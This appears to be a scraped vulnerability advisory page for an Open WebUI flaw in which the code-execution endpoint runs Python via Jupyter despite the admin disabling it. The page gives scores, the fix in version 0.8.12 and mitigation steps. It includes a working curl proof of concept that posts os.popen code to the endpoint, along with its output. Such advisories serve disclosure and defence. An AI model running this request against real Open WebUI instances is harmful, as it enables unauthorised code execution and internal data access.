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HIGH severity

Open WebUI: Jupyter code execution works despite `ENABLE_CODE_EXECUTION=false` — feature gate bypassedGHSA-482j-2pq6-q5w4

HIGHFix: open-webui/open-webui@6d736d3

GHSA-482j-2pq6-q5w4 is a high-severity (CVSS 8.8) CWE-863 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.

Also known asCVE-2026-45672PYSEC-2026-2698
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-482j-2pq6-q5w4.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk
0.00%0.36%0.73%1.09%0.1%0.4%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍open-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes.

Details

The admin configuration correctly shows ENABLE_CODE_EXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.

PoC

Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.

Setup: Jupyter server connected, ENABLE_CODE_EXECUTION=false confirmed in admin config.

# Step 1: Verify code execution is disabled
curl -s http://target:8080/api/v1/configs/code_execution \
  -H "Authorization: Bearer $TOKEN"
# Returns: {"ENABLE_CODE_EXECUTION": false, ...}

# Step 2: Execute code anyway — gate bypassed
curl -s -X POST http://target:8080/api/v1/utils/code/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"code":"import os; print(os.popen(\"id\").read())"}'

Verified output:

Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...}

execute_status=200
execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""}

The PoC read the internal secret service content via Jupyter — despite ENABLE_CODE_EXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.

Impact

Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:

  • Arbitrary code execution in the Jupyter container (read files, spawn processes)
  • Network access to all internal Docker services from the Jupyter container
  • Data exfiltration from internal services
  • The admin's security configuration (ENABLE_CODE_EXECUTION=false) is silently ineffective
  • Users who are told "code execution is disabled" have a false sense of security

Resolution

Fixed in commit 6d736d3c5, first released in v0.8.12. The /api/v1/utils/code/execute handler in backend/open_webui/routers/utils.py now checks request.app.state.config.ENABLE_CODE_EXECUTION before dispatching to the Jupyter engine and returns 403 with FEATURE_DISABLED('Code execution') when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on >= 0.8.12 are not affected.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.8.12pip install --upgrade 'open-webui==0.8.12'

Affected Products

1 product · 1 configurations
Application
open webuiopenwebui
< 0.8.12
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update open-webui to 0.8.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-482j-2pq6-q5w4 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary The `/api/v1/utils/code/execute` endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set `ENABLE_CODE_EXECUTION=false`. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. ### Details The admin configuration correctly shows `ENABLE_CODE_EXECUTION: false`. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container. ### PoC **Verified against
O3 Security · Impact-Aware SCA

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Open WebUI: Jupyter code execution works despite…